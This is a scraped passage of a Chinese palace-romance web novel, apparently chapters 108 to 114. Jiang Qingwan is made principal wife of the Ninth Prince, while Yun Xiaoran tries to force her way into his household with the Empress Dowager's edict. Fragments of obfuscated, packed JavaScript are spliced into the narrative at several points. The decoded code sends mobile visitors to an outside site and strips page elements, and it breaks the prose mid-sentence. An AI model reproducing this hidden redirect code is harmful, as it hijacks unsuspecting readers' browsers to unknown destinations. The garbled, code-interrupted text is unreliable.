就连住在长安区外围的苏玉兰也来了。 看着那嫁衣和凤冠,眼中羡慕,嘴上却勾起讽刺。 “九王娶王妃,这事倒是瞒的挺严实,送亲的队伍都来了,也不知道这王妃是何许人。” 在她一旁伺候的春梅小声道,“如果不是云家的县主,肯定就是朝中重臣之女,总不可能是江清婉那小贱蹄子。” 苏玉兰冷嗤。 “就她那种贱妇,也配穿凤冠霞帔!” 春梅偷笑,眼中满是不屑。 “县主,这么大排场的正妃一入府,第一件事肯定就是将那小贱蹄子给赶出来。不如我们找人好好招待招待她?” 苏玉兰眼波流转带着春意和狠辣。 这两日秦明朗为了哄她,在床笫之事上颇为卖力,滋养的她甚是舒坦。 可那日在苏家丢脸的事情,始终还是窝着一股火。 “让人去找几个乞丐,越脏越丑越好。” 春梅福了福身。 “是。” 那边,墨青蕊站在宋玉书的身边,笑的满面春光,语带揶揄。 “我小九叔还真的是大手笔,虽不是正妃,却给足了江妹子颜面,等我下次见了江妹子,可就真的要规规矩矩行个礼叫一声小九婶了。” 宋玉书的脸色却紧紧绷着。 这时一道高呼声传来。 “太后銮驾到。” 墨青蕊吓了一跳,赶紧规规矩矩跪下行礼。 “太后不是在宫中养病一直身体不适吗?怎么会来贺喜?” 周围命妇侍女们也都齐齐跪了下来。 挂着特制凤头灯笼的銮驾,被八人抬着缓缓停在了九王府门口。 李嬷嬷站在銮驾一侧,扬起脖子再次高声喊道,“太后娘娘圣恩,特赐銮驾送亲筱然县主,请九王殿下出来接亲。” 墨青蕊呆住,急忙转头看向宋玉书,满眼惊愕。 “是云筱然?何时赐的婚,为何一点消息都没有?” 她之所以一直以为是江清婉,就是因为朝中半点消息都没传出来。 若是云筱然赐婚给了墨云寒,这么大的喜事,早就贴了皇榜昭告天下。 也不可能这般着急。 宋玉书已经站起身,声音淡淡,“不是赐婚。” 墨青蕊听到一头雾水。 李嬷嬷和另一个丫鬟分立銮驾两侧,抬手用金杖拉开了銮驾的帘子。 里面的云筱然身穿红色长裙,盘发而坐。 未穿嫁衣,未带凤冠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“云寒哥哥,筱然再胆大也不敢假传懿旨,如今銮驾懿旨还有太后祖母亲赏的凤冠霞帔都在,吉时将到,你该接旨了。” 她故意不宣读其中内容,就是想用太后给的依仗骇住墨云寒。 她要墨云寒以正妃之礼,迎她入门! 第109章 唯她一人 墨云寒从墨云昭那里拿来的圣旨放在了书房。 他翻身下马。 “接旨之前,本王有圣旨要宣读。” 云筱然却再次叫住了他。 “太后懿旨已到,云寒哥哥还是要走?” 墨青蕊身在皇室,比旁人更清楚太后和墨云寒之间的嫌隙,立刻伸手轻轻拽了拽宋玉书的袖子。 “宋姐姐,你先让小九叔接旨吧。这是长安区,这么多人看着,岂能懿旨到了眼前而不接的,这可是大不敬。” 宋玉书心中对云筱然更为不喜。 懿旨的内容她一清二楚,云筱然闹这么一出,就是为了颜面算计墨云寒。 若是如此浩浩荡荡的将人迎进府中,将来江清婉再入府,风头全被压住,再加上江清婉的出身本就比不过云筱然,将来定会被人诟病。 可偏偏,在懿旨宣读前,她什么都不能说。 但也不愿由着云筱然算计。 “筱然,王府不会不接懿旨,但云寒所说的圣旨在懿旨之前,无论从哪一方来论,都应该先宣圣旨。” 云筱然的脸色骤变,心里不由发恨。 她已经赌上了所有,没想到如今,连宋玉书都不肯站在她身边。 她死死攥着手里的懿旨。 指尖泛白。 忽然送亲队伍后面传来尖细的嗓音。 “太上皇赐礼。” 她已沉入谷底的心,瞬间又得意起来。 “云寒哥哥,太上皇也来为我们的喜事赐礼了,我这般模样实在有失礼数。舅母,还请快些为我穿上嫁衣。” 宋玉书眉心紧皱。 太上皇怎么也派了人来,这下,是半点法子都没了。 她不由担心地看向墨云寒。 墨云寒此刻的脸色异常难看。 太后逼迫也就算了,当年母妃之事,他童年遭受的痛苦,全都来自太后,而这些,父皇明明都知道。 为何还要帮着太后! 他缓缓握紧双手。 那边,云筱然已经扶着李嬷嬷的手走了下来,手里攥着懿旨,等待宋玉书上前穿衣。 气氛僵持。 宋玉书只得温声劝,“云寒,既然太上皇也有此意,那你没得选。” 凤冠和嫁衣已经抬了过来。 宋玉书叹了口气,正准备去拿嫁衣,常年伺候在养心殿的老太监就已经走了过来。 躬身冲着墨云寒行了一礼。 “见过九殿下。” “父皇让你来的?” 墨云寒冷冷问道。 老太监笑弯了眼,“是,太上皇听闻了九殿下的婚事,甚是满意,特意赐了礼物让老奴送来。” 云筱然立刻上前, “云寒哥哥,你快些给我戴上凤冠,我们一起跪谢父皇隆恩。” 她自动改了称呼。 老太监脸上的笑意骤然消失,微微躬身道,“县主,您虽是太后亲自教养,却并非皇家之人,岂可称呼太上皇为父皇,乱了规矩。” 云筱然表情一僵,努力笑着挽尊。 “多谢公公提醒,礼还未成,筱然的确不能改称呼。” 老太监没理她再次笑眯眯的冲着墨云寒拱了拱手。 “殿下,未来的九王妃何在,要请出来一起谢恩的。” 墨云寒本还紧绷的眸子瞬间松了松。 “这礼,是赐给未来王妃的?” “那是自然。”老太监躬着身子,笑的异常慈爱。 宋玉书顿觉心下大安,立刻将准备拿嫁衣的手给收了回来,整个人喜笑颜开。 “云寒,我即刻去请人过来。” 说罢头也不回往后院方向疾走。 墨青蕊听得一头雾水。 “筱然县主不在这里吗?宋姐姐还要去请谁?” 云筱然死死攥着懿旨,脸色都白了,楚楚可怜地抬眸看着墨云寒。 “云寒哥哥,你就不能先迎筱然入了门吗?” 周围议论声更大。 “难道九王妃不是云县主?那还能是谁?” “听说九王殿下在后院还养着一个小娇娘,不会是她吧?” “怎么可能,那不是别人不要的女人吗?怎可做九王妃?” 春梅已经回来。 听着周围的议论脸色大变。 “县主,不会真的是江清婉那个贱妇吧?九王爷还真是什么都不嫌。” 苏玉兰死死瞪着人群中宛若天神般的男人,心里又不接有郁结,极其的不痛快。 那边宋玉书已经拽着江清婉过来了。 身后还跟着满脸愤恨哭红了眼睛的莲儿。 “你们不可以这么欺负人。” 都已经大张旗鼓的娶妻了,却还要钓着他们家小姐,喊什么娘子。 就因为他们家小姐曾与人和离过便可这般所以轻贱吗? 这天底下,他们家小姐一等一的好。 而愤怒的李斗此刻被跟着宋玉书的玉英拦着,根本出不来后院。 作为当事人的江清婉却一脸淡然,只是被拽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她有一种苦尽甘来的狂喜,眼泪夺眶而出,转身往后院跑,去跟李斗报喜。 墨青蕊同样惊得不轻。 她怎么也没想到墨云寒竟然敢直接娶江清婉为正妃。 可是想想墨云寒的个性,却又觉得,这也没什么大不了。 忽然人群中有人咦了一声。 “那云县主闹这一出是什么意思?” 第110章 从未爱过 看热闹的人齐刷刷全看向了云筱然。 她刚刚有多艳羡多风光,此刻就有多尴尬。 那奢华的嫁衣和凤冠,也好像失去了颜色。 人群中的苏玉兰看着眼底狰狞的云筱然,心中莫名畅快。 恨吧! 越恨,江清婉的日子就越不会好过。 太后可是皇上的亲娘。 今日闹成这般,摆明了是打了太后的脸。 她就不信,太后会放过江清婉。 墨云寒牵着江清婉的手看向云筱然。 “圣旨已下,无论太后的懿旨为何,本王都不会接。舅母,送客。” 他说的是客,摆明了亲疏关系。 言毕就准备带江清婉从正门入府。 云筱然的心彻底坠入冰窟。 冷到极致后是扭曲的疯狂。 她抬手将懿旨展开,当着所有人的面朗声读完。 现场一片死寂。 却又很快热烈的议论起来。 “堂堂县主去做姨娘?云县主不是一直养在太后膝下备受恩宠吗?怎么会这样?” “可怜县主一片痴心,怕是早就知道九王殿下要娶后院的小娇娘,所以才求了太后懿旨,甘愿入府为姨娘。” 围观多为长安区闲在家中的贵妇,久居深闺,对此事更为感触。 纷纷抱起不平。 “宋夫人,云县主自降身价皆因所爱,如此痴心忠烈的好女子,你可不能因为云家没落而另眼相待。” “就是,云县主这些年没少入王府孝敬你,你们常结伴而行宛若母子,王爷性情凉薄也就罢了,你怎可如此相待。” “云家一门忠烈,为大周捐躯,留下云县主一个孤女,竟被九王府这般欺凌,真是令人心寒。” 云筱然心中得意。 她就是要整个长安区的人知道,墨云寒辜负了她,愧对了她。 被一个不要脸的狐媚子勾引,成了一个色令智昏的王爷。 能住在长安区的,背后哪一个不是高门。 吹吹枕边风,朝堂内的风向就能变。 她要墨云寒为他求赐婚圣旨的举动后悔,转过头重新求她谅解。 她将懿旨卷起。 泪眼婆娑的看向墨云寒,忽地撩起红裙,跪地盈盈一拜。 声音哽咽,更显单薄可怜。 “姨娘筱然,见过王爷,见过王妃。请王妃准筱然入府。” 在她身后,太后的銮驾,亲赐的嫁衣和凤冠,无一不是太后的颜面。 墨青蕊此刻的心都提到了嗓子眼。 皇祖父宠溺九王,京城无人不知。 刚刚老太监来送礼包括皇上的赐婚圣旨,在外人看来全是纵容九王爷,自然没人敢有异议。 可现如今,赐婚圣旨已下。 江清婉就是正儿八经的九王妃。 本就身份引人诟病,却还要太后亲封的县主跪在她面前,若不识趣,小了是善妒上不得台面,大了便是藐视太后。 她焦急地想过去提醒两句。 宋玉书却已经上前。 并不是去搀扶云筱然,而是站在了江清婉的身侧。 “云县主,你求太后懿旨的时候,我就在当场。旁人不知,我却一清二楚。” “你压着这道懿旨三天不许任何人透露半个字,又坐着太后銮驾,声势浩大的前来王府,让我给你披嫁衣,让云寒为你戴凤冠。到底意欲何为,你当所有人都是傻子吗?” “若你真的是委屈下嫁,痴心忠贞,一切为九王。为何刚刚不直接宣读懿旨,偏要在太上皇的赐礼之后,皇上的圣旨之后,跪地求着入府。我且问你,若为姨娘,从后门悄然入府,你手握懿旨,我岂敢拦着?” 她本就出身将门。 自有风骨,虽也是内宅妇人,气势却又与旁人不同。 音色铮铮,狠狠捶在众人心头。 刚刚还在指责王府薄情的贵妇人脸上都有些难看。 云筱然依旧跪在地上,抬起头的瞬间,眼泪夺眶而出。 “舅母,筱然为何如此您不知道吗?我自小爱慕云寒哥哥,明知丢脸,却还求了懿旨,带着嫁衣和头冠,自备了丰厚的嫁妆前来,只不过是想圆了儿时的心愿。我敬您为母,所以希望您为我披上嫁衣,我爱云寒哥哥,以他为夫,所以想让他为我戴上凤冠,仅此而已啊。” 这般撕心裂肺,谁能不动容。 墨云寒却在这时冷冷开口。 “身为姨娘,没资格穿红,既然太后有旨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不纯粹 墨云寒浅尝辄止,看着近在咫尺的那双眸子,澄清茫然还带着几分迷离,他眼底噙着笑将人松开。 声音低哑蛊惑。 “谁说本王不爱本王的王妃?” 云筱然彻底站不住,踉跄着险些栽倒。 好在被李嬷嬷扶住。 她低声哄着,“县主,以后的事以后再谋划,先入府再说。” 送亲队伍来时多气派,走时就多狼狈。 看热闹的众人也渐渐散去,有些识趣的上前跟宋玉书礼貌贺喜。 墨青蕊在旁帮衬,先前的担忧此刻全成了熨帖的舒爽。 除了出身,她觉得江清婉哪哪都配得上自家小九叔。 如今正儿八经地赐了婚,简直不要太圆满。 王府正殿内。 墨云寒将手松开,神情很是不自然,眼神都不知该落在哪里,却又不愿失了主动。 “圣旨既已宣读,你今日就搬来前院吧,想住哪里都可以,你跟舅母商议便可,至于云筱然,你不必理会,本王自有用意。” 说完等了半天未见回应。 他忍不住转头看去。 就见江清婉不知何时坐在了椅子上,手指正轻轻摸着唇瓣。 刚刚香软的触感此刻再次在他的心头撩起了涟漪,墨云寒欺身逼近,将人困在椅中。 “没亲够?本王可以……” “墨云寒!” 江清婉在这时抬头,眼底并没有刚刚被亲吻的迷离沉醉,明亮锐利的像一把磨了很久的刀。 墨云寒怔住,收起戏谑逗弄正色回应。 “我在。” 江清婉盯着眼前那张漂亮的不像话的脸。 心里沉了又沉。 对付一个云筱然,她不信这男人没有旁的法子。 何至于牺牲这么大。 她神色微凝。 “你是不是喜欢我?” 这话问的正经又直白。 没有小女儿家的怯懦,也没有即将为**的娇羞。 墨云寒一时间拿不准。 犹豫的几息,江清婉却已经再次开口。 “你并不纯粹。” 无论是喜欢还是利用,都不纯粹。 江清婉忽然发现了一个很奇特的点。 摒弃了爱与不爱的界限,她不会再难受谁的负心,谁的利用,谁的算计。 她伸出手在墨云寒惊愕的目光中勾住了他的脖子仰着小脸亲了上去。 这是她第一次亲人。 以前跟秦明朗在一起,发乎情止乎礼,就连大婚之夜送他出征,也只是轻轻抱了一下。 柔软的唇瓣混合着冷香的气息,再次侵袭在唇间。 她很确定,自己不讨厌,还觉得新奇悸动。 正探索的开心,肩膀就被人握住猛地推开。 墨云寒的眸子睁的很大,难以置信。 “你……你怎么伸舌头?” 江清婉抿了抿唇意犹未尽。 “墨云寒,我不会喜欢你,但是你长得极好看,我喜欢你这张脸,你的身材也……” 她的目光随着小手一起落在了男人的胸口。 墨云寒的脸瞬间黑了下来。 “你想说什么?” 江清婉白嫩的指尖戳了戳墨云寒的胸口。 因为那句不会喜欢,心跳竟变得异常的平静,再不会扰乱思绪。 她再次仰起头,目光落在墨云寒被亲的潋滟动人的唇上。 “治好你的腿我就走,你想对云筱然做什么,又要利用我达成什么样的目的,还有皇宫里的那些糟心事我都不会管。在这期间你要是勾我,我不一定能把持的住。” 举止言语浪荡的如去妓馆了点了小官一般。 墨云寒气的肺都快炸了。 “你当本王是什么?” 江清婉轻轻耸了下肩。 “难不成你真的对我情根深种,喜欢的不得了才去请皇上赐婚?” 这话噎的墨云寒哑口无言。 如江清婉所说。 他并不纯粹。 墨云寒站起身,冷傲的站在一步之外。 “本王的确不喜欢你,本王娶你,一是护你不至于在本王的腿没好之前被人弄死,至于其他,你也不必知道。” 他说完拂袖而去。 差点和刚进院子里的宋玉书和墨青蕊撞上。 “小九叔……” 墨青蕊赶紧行礼,礼还没成,墨云寒的人就没了影。 她一脸懵。 “这什么情况啊?” 这时江清婉也从殿内走了出来。 墨青蕊立刻迎了上去,“江妹子……呸呸呸,是小九婶。” 她揶揄地娇笑着福了福身。 江清婉将她拉起。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太监总管眼底闪了闪。 “遵旨!” 第112章 皇榜 皇榜一出,整个京城都沸腾了。 淮楼三楼, 墨云寒站在窗前看着不远处张贴皇榜的布告栏前围着的人群,唇角勾起冷笑。 “我这皇兄还真是急不可耐。” 夜七抱剑而立。 “王爷您这恶名算是摘不掉了。江娘子估计也会挨不少的骂。” 提及江清婉,墨云寒微微皱了下眉,心口略有些烦闷。 “她才不会在意。” 夜七没注意到他的神色,跟着附和了声。 “王爷说的没错,江娘子活的随心肆意,定然是不会在乎这些俗事。” 他话音刚落,墨云寒的眼神就冷冷的扫了过来。 “你很了解她?” 夜七怔住。 超强的求生欲让他立刻改口。 “属下一点也不了解江娘子,除了王爷交代的事情,属下没有跟江娘子单独说过话。” “叫王妃!” 墨云寒冷着脸移开目光。 夜七憋着笑。 “是。” 墨云寒忽又想到什么,侧头问道,“今日未见青穗,她在忙什么?不是让她贴身护着王妃吗?” 夜七挠了挠头。 “王爷您不是说,以后青穗的一应事务都交由王妃掌管,不必再跟您汇报了吗?” 墨云寒再次被噎住,心下很不痛快。 这时门外传来声音。 “主上。” 是苏柳儿。 “进来。” 墨云寒敛下心神转头望去。 门开的瞬间,他闻到了淡淡的血腥味。 “出了何事?” 苏柳儿摇头。 “一切顺利,暗渠的钉子传来消息,金钩弯刀并不是产自暗渠,也没有人在其中交易过这类兵器。不过,有个叫鬼面的,擅长机关术,听说最近在到处收集稀有精铁,不知是否是制造金钩弯刀。” 夜七道,“王爷,我记得金钩弯刀其中最精妙的机关零件好像就是精铁。” 苏柳儿眉宇一凛。 “我现在传信让人盯紧。” 墨云寒叫住她。 “谁伤的你?” 苏柳儿心中一暖。 “寻宝人,已经好的差不多了。” 她想了想,虽不太情愿,却还是说提了句。 “恰好遇到江娘子,她帮了忙,等我将那群浑蛋全抓起来,淮楼将会有一大批宝贝可以竞宝。” 夜七赶紧咳嗽了一声。 “你还不知吧,现在要改口了,要唤王妃。” 苏柳儿一脸懵。 “王妃?谁?江清婉吗?她……” 她刚想说“她怎么配。” 可又紧急闭了嘴。 墨云寒状似不在意的问道,“她能帮你什么?” 苏柳儿还没从墨云寒要娶江清婉为正妃的震惊中回过神来,下意识说起那天的事情。 “一百两黄金?”夜七听完只觉哭笑不得。 这算是从左边兜里赚了银子,转到了右边兜里吗? “王妃是不是知道这淮楼是王爷的?” 苏柳儿摇头。 “我不清楚,但她的确是看在黄金的份上才开的卦。” “准吗?人找到了吗?” 夜七自从戴上那个八卦镜挡了次黑乌鸦,对江清婉的本事越发佩服。 苏柳儿偷偷看了眼墨云寒,见他没什么表情这才道,“人找到了,不过没抓到活的,服毒**。” “那就是什么都没问出来?” 夜七顿觉无趣。 “你这宝贝怕是找不到了。” 苏柳儿抿了抿唇没说话。 墨云寒却在这时开口。 “去请她过来,重新卜卦。” 苏柳儿惊愕抬头。 “主上,你怎么知道我还……” 她的话瞬间噎死在喉咙里。 要找的人**,宝贝怕是要胎死腹中。 差事办成这样实在丢人。 她本想瞒着再起卦的事,没想到墨云寒竟然能精准猜到。 墨云寒返回桌案前重新拿起了账本。 淮楼是京城的一个据点。 以竞宝为住,收罗各方消息,也是他最常待的地方。 苏柳儿踌躇片刻。 “主上,要请来这里,还是去属下的房间。” 夜七无语的翻了个白眼,拽着她的胳膊出了门。 “自然是这里,这点眼力见都没有了?你怎么做这淮楼的掌柜。王爷是想看卦吗?王爷是想找个机会跟王妃亲近。” 看了眼关上的房门,苏柳儿的脸色瞬间冷了下来,一把抽回手臂。 “我做事还用不到你来指手画脚。” 说完转身走了。 夜七盯着她的背影想干架。 不过淮楼和暗卫营分属不同,论起级别,他和苏柳儿算是同级。 他还真没资格管。 …… 太学院内的花园回廊上。 郭浩的书童跑的气喘吁吁的将从外面买来的肉干递了过去。 “小侯爷,外面可热闹了。” 这几天霍震都在家中养身体没来太学院。 这让郭浩觉得人生异常寡淡,天天被夫子们追着背书写文章,戒律司的人也犯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏宇眼底闪过算计,打趣着追了上去。 “小侯爷,你这怎么还吊人胃口,话说了一半,好生难受啊。” 他们谁都没有看到,不远处站着一个清瘦俊俏的少年,在听了他们所说的话后,脸色大变。 第113章 示好 苏柳儿来到王府后院的时候,江清婉正在摆弄她那株万紫千红。 袖子挽着,露出素白纤细的手臂。 拿着个小木铲子,一边培土,一边指使蹲着的李斗往里面放黑乎乎的肥料。 听见落地声,李斗警惕的窜了出来。 “你是谁?” 江清婉歪头看了眼。 “东西找到了?” 苏柳儿点点头。 “找到了,你现在跟我走吧。” 见她们认识,李斗这才退到了江清婉身边继续蹲着。 江清婉将手里的木铲子递给他。 “你小心些将这些料都掺进去,别伤了根。” 灵力灌注会矫枉过正,需要小心把握尺度。 混杂着养料一起培育,应该成效不错。 莲儿端了清水过来,她净了手,指了指凉亭的位置,“我们去那里开卦。” 苏柳儿愣住。 “你不用跟我走吗?” “江清婉皱眉。 “你东西没在身上?” 苏柳儿下意识想去摸袖口,又急急停住。 “没有。” “你去拿吧,我等你。”江清婉让莲儿准备火炉,“你要喝茶还是喝酒?” 苏柳儿又被噎了一下。 “你还是跟我走吧,我着急。” “着急你不把东西带着?” 江清婉眯了眯漂亮了的大眼,满是狐疑。 平日里最是懂得与人周旋的苏柳儿被堵得哑口无言。 她心情很不美丽。 在她心里如神祇一般的主子竟然娶了眼前这个连刀剑都不会用的弱女子。 还是正妃。 现下皇榜出了,王妃的位分也给了,自家主子要见人,何必要她来请。 她有种不想见人恩爱,却偏要被掐着脖子撑开眼睛逼着她看的暴躁。 “我家主上想见见你,所以请你去淮楼开卦。” “我不见。” 江清婉毫不犹豫的拒绝,让苏柳儿越发抓狂。 “你知道我家主上是谁吗?为何就不见。” 莲儿已经端了火炉过来。 江清婉道,“去把青蕊郡主送来的花茶取来。” 等莲儿离开她这才看向苏柳儿。 “不管是谁,我不愿见便不见。百两黄金我收了,我也答应过给你开卦,但没说过非要在淮楼,你若是真着急,还是早些将东西拿来,莫要耽搁。” 苏柳儿这暴脾气实在快炸了,呼哧呼哧走进凉亭坐在了江清婉对面,将袖子里取来的东西和直前的铁针一起放在了桌子上。 “开卦吧。” 江清婉挑眉。 “不是没带吗?” 苏柳儿抿着唇不说话。 江清婉忽有些好奇。 “你非骗我去淮楼做什么?你的主上又是谁?我认识?” 苏柳儿呵呵了两声。 “开卦吧,还要黄金吗?我可以加两百两。” 江清婉低咳了一声,差点被自己呛到。 一边从荷包里拿出小罗盘一边感慨,“你们淮楼这么赚钱吗?” 她以前的几个铺子虽然也赚的不错,可也不是随随便便几百两黄金的往外出。 苏柳儿又呵呵了两声。 有一种被人偷了家,却还要殷勤的四处捞银子巴巴送过来憋屈感。 江清婉没读懂她的表情,让莲儿送了纸笔过来,敛下情绪开始卜卦。 做交叉卦象的对比稍复杂。 等她将所有卦象都看完之后,才发现家里并没有京城和京郊的地图。 她将宣纸递过去,“我告诉你如何解卦,你能在地图上找到位置吗?” 看着她写的晦涩难懂的字,单个的甚至都连不成句子,苏柳儿狠狠抽了抽嘴角,干脆利索的回了句。 “不能。” 江清婉也觉得有些为难她。 毕竟师父说过,她是万中无一的修**道法的天才。 百年难得一遇。 自然不是随便拉出来一个人就能看得懂她的卦书。 可皇榜一发,外面乱哄哄的,莲儿说不少人都想看看她这位九王妃的真容,是不是天生狐媚子,会勾魂摄魄。 她实在懒得出门,被人当猴子观赏。 稍作思考,她站起身往凉亭外走。 她记得,墨云寒的寝卧中有一幅很详尽的京城地图。 比淮楼里挂着的覆盖方位更广更详细。 “我去趟前院,你稍等。” 前院? 苏柳儿看向那座王府。 她从未来过。 以她的身份,也没资格来。 鬼使神差的,她也跟着站了起来。 “我也去。” 江清婉诧异回头,眼神狐疑。 苏柳儿被她盯得浑身不自在,梗着脖子找了个理由。 “一百两黄金,你万一跑了怎么办?” 江清婉越发觉得她奇怪。 “你既能找到这里,应该知晓我跟墨云寒的关系。前院是他的地盘,外面传闻他是喜怒无常的煞神,你这么跟我过去,就不怕他一个不开心砍了你的脑袋?” 苏柳儿不自然的别开脸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15441863|169370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“不去就不去,我也没多想去。” 江清婉又盯着她看了一会。 “你刚刚的担心也不无道理,毕竟一百两黄金不是个小数目,那就一起吧。” 她率先出了凉亭,往前院方向走。 苏柳儿被她突然的改变主意弄的一愣,犹豫了一会快步跟了上去。 王府中忙碌着的丫鬟小厮,府兵侍卫,都已经认识了这位新主子,见到她皆是行礼问安。 同时对跟在她身侧的苏柳儿生出几分好奇。 主要是苏柳儿长得太美,不同于江清婉的清雅之美,多了女子的妩媚妖娆之感。 衣服更是穿的大胆,白皙的小腰露了半截,随着走动,水蛇一般扭着。 窃窃私语声不断传进耳朵。 “好漂亮的女子,不会是王妃特意寻来伺候王爷的吧?” “王妃还未大婚怎么可能送别的美人入府。” “你懂什么啊,云县主已经住进了风雅筑,那可是太后娘娘选的人,今晚王爷肯定要去那边洞房的。王妃还没正式入府,难不成还敢拦着。找这么个美人进来,铁定是为了对付云姨娘,让她难堪的。” 苏柳儿的听力比江清婉好,这些话听的一清二楚,柳眉不由皱了皱。 正想用内劲教训一下,前方岔道忽然走来一群人,被簇拥在中间的娇俏女子,正是云筱然。 二人之前在淮楼见过, 她低头将脖子上丝帕挂在了耳边遮住了半张脸。 几个呼吸间,双方已经走对面。 云筱然笑颜如花的打着招呼。 “江姐姐。” 江清婉不想理,嗯了一声侧身要走。 云筱然却挪着步子挡在了前面,热情的像是之前所有的不快都没有发生过。 “江姐姐,咱们现在也算是真正的姐妹了,这王府内外我熟,以后府内诸事,姐姐不懂的尽可问我。” 她说着指向一旁的竹林。 “姐姐瞧瞧,这是最好的碧云竹。是云寒哥哥带着我去山上亲手挖了移栽过来的,每年出了春笋,他都会让人摘了送去县主府给我尝鲜。” “还有那棵合欢树,是我在皇宫里瞧见的,说漂亮,他便找人挖了种在了王府,说是这样我能经常看到。” 苏柳儿听得一阵无语。 “想你经常看到不如直接种你家,何必多此一举。” 笑意嫣然的云筱然骤然变了脸。 “你是何人?我们姐妹说话,有你插嘴的份吗?李嬷嬷,教教她规矩。” 第114章 蛇口玉 李嬷嬷扬起手就要打。 苏柳儿可不是吃亏的主儿,以前她就很不喜欢云筱然。 她亲眼见过此女当着墨云寒的面是什么样,背地里又是什么样。 如此两面三刀跋扈狠毒,若不是墨云寒护着,她早就出手教训了。 可没等她动手,江清婉忽地冷道,“来人。” 离得最近的两个小厮应声上前。 云筱然的嘴角再次勾起。 “姐姐不会因为我刚刚说的话心里不痛快要以王妃的身份欺辱我吧?” 她将手腕往下垂了垂,露出了一只橙黄的金镯子,雕刻着繁杂的纹路,甚是精致。 “这是太后祖母亲自着人雕刻赐予我的,她告诉我,虽因圣旨让我无奈做了姨娘,却万不可受了旁人的欺辱,这便是她护我的黄马褂,姐姐做事还是三思为好。” 苏柳儿觉得自己拳头都有些痒。 却又有点看好戏的瞥向江清婉。 心中暗道,不是很本事吗?打回去啊?可别气哭了丢人。 江清婉特意多瞧了两眼那镯子,总觉得上面的纹路有些奇怪。 奈何云筱然很快用袖子挡住,她并没有看清。 索性也没再多想,指了指刚刚云筱然特意介绍过的竹林和合欢树。 “全挖了,丢出去。” 云筱然脸色陡变。 “你敢!” 两个小厮也是一脸的胆战心惊。 江清婉却很是悠然。 “我是皇上下旨亲封的九王妃,墨云寒说了,整个王府都是我的,区区一片竹林和一棵破树,我如何动不得。去叫人,现在就挖,谁不听话,即刻让府兵拉出去打板子。” 她做了秦府五年的主母。 这点气势手到擒来。 小厮哪敢不从。 宣读圣旨的时候,他们都跪在院子里,听得真切也看的真切。 王爷对这位未来王妃极为看重。 几声招呼很快叫来不少人,拿着铁锨就开始挖。 云筱然气的跳脚。 “江清婉你完蛋了,云寒哥哥最讨厌别人碰府中的格局,你还没入府就敢如此,他定不饶你。” 江清婉切了一声。 “我们两夫妻的事情与你一个姨娘何干?” 说完走了。 苏柳儿惊得瞪圆了美眸,差点笑出声。 这江娘子的性格着实有趣。 她喜欢。 云筱然整个人都快炸了。 李嬷嬷赶紧拉住她避开干活的小厮小声劝道,“县主,您现在最要紧的不是跟江清婉做口舌之争,而是尽快跟王爷圆房,怀上王爷的孩子。太上皇现在病的不轻,若是能在驾崩前看到九王殿下的孩子,您想想,他能让这孩子只是个庶出吗?” 云筱然的情绪总算被安抚下来。 “云寒哥哥本就对我有情,今夜万事俱备,我就不信他不就范。” “走,去拜见宋夫人,今晚还要靠他留下王爷。” 身后的竹子一根根倒下,她死死攥紧帕子。 今日这竹子怎么倒的,他日就要怎么给她种回去。 另一边,江清婉带着苏柳儿一直走到了墨云寒的寝殿外。 “你在此稍等。” 她并没有让苏柳儿跟进去。 淮楼幕后是谁她不清楚,但苏柳儿明显对墨云寒有兴趣。 带她在王府转转就是给她机会熟悉地形,若是她想做什么,自然有暗卫擒拿。 但这寝殿,毕竟是私人地盘,是万不能进的。 她也没有进内室,只去了外间,对着墙上的地图核对卦象。 卦象汇聚之地在地图的左上方,有些高,她垫着脚趴在墙上细看,刚找到位置,手下的墙忽然颤了颤。 咯吱一声,转了方位。 显然后面另有机关。 她立刻抽身闪躲。 却并没有暗器射出。 她这才发现,那幅地图后还藏着一个暗格。 暗格并不大,也没有什么宝物,只有一个很破旧的卷轴。 江清婉的好奇心被完全勾起。 既然墨云寒可以不经她同意能去要赐婚圣旨,她为什么不能偷偷看一眼。 她垫着脚尖将卷轴拿了出来。 上面并没有灰尘,显然常被拿出来看。 卷轴的边缘都有些起毛。 她缓缓展开。 没想到里面竟然是张美人图。 美人乌发如墨头戴红宝石额饰,穿着暗红色服饰,绣工和剪裁并不是大周的款式。 曼妙身姿跃然纸上,却独独没有五官。 